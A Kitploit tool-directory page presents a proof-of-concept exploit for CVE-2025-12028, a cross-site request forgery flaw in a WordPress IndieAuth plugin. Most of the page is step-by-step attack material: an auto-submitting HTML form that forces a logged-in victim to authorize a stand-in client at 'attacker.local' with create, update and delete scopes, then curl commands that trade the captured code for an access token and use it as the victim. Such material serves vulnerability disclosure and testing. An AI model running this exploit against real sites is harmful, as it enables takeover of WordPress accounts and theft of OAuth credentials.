Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-12028 — Proof-of-concept exploit for CVE-2025-12028 demonstrating CSRF-based OAuth token theft in WordPress IndieAuth plugin, enabling unauthorized API access with stolen credentials. | Kitploit
Tools/GitHubGitHub/jfriedli/cve-2025-12028
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingAuthentication
GitHubjfriedli/cve-2025-12028

CVE-2025-12028

Proof-of-concept exploit for CVE-2025-12028 demonstrating CSRF-based OAuth token theft in WordPress IndieAuth plugin, enabling unauthorized API access with stolen credentials.

View Repository
15 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

1) Start a simple HTTP server to host the proof-of-concept page

root@kitploit:~
mkdir -p /tmp/attacker && cd /tmp/attacker
php -S 127.0.0.1:8000

2) Create a file /tmp/attacker/poc.html with the following contents

root@kitploit:~
<!doctype html>
<html>
  <body>
    <form id="x" method="post" action="http://localhost/wordpress/wp-login.php?action=indieauth">
      <input name="client_id" value="http://attacker.local/app">
      <input name="redirect_uri" value="http://127.0.0.1:8000/cb">
      <input name="state" value="csrf-12345">
      <input name="response_type" value="code">
      <input name="scope[]" value="create">
      <input name="scope[]" value="update">
      <input name="scope[]" value="delete">
    </form>
    <script>
      document.getElementById('x').submit();
    </script>
  </body>
</html>

3) Trigger the PoC in a logged-in browser session

While logged into:

root@kitploit:~
http://localhost/wordpress

Open:

root@kitploit:~
http://127.0.0.1:8000/poc.html

in the same browser session.


4) Observe the authorization redirect

The browser will:

  • POST to the IndieAuth endpoint with the victim’s cookies
  • Receive an authorization code
  • Redirect to:
root@kitploit:~
http://127.0.0.1:8000/cb?code=...&state=csrf-12345

5) Exchange the code for an access token

root@kitploit:~
curl -sX POST "http://localhost/wordpress/wp-json/indieauth/1.0/token" \
  -d "grant_type=authorization_code" \
  -d "code=PASTE_CODE_FROM_STEP_4" \
  -d "client_id=http://attacker.local/app" \
  -d "redirect_uri=http://127.0.0.1:8000/cb"

6) Observe the token response

The JSON response will contain fields such as:

  • access_token
  • scope
  • me
  • (possibly) refresh_token

This token can now be used to act as the victim within the granted scopes.


7) Verify the token

root@kitploit:~
TOKEN="PASTE_ACCESS_TOKEN"

curl -s "http://localhost/wordpress/wp-json/indieauth/1.0/token" \
  -H "Authorization: Bearer $TOKEN"
Download Tool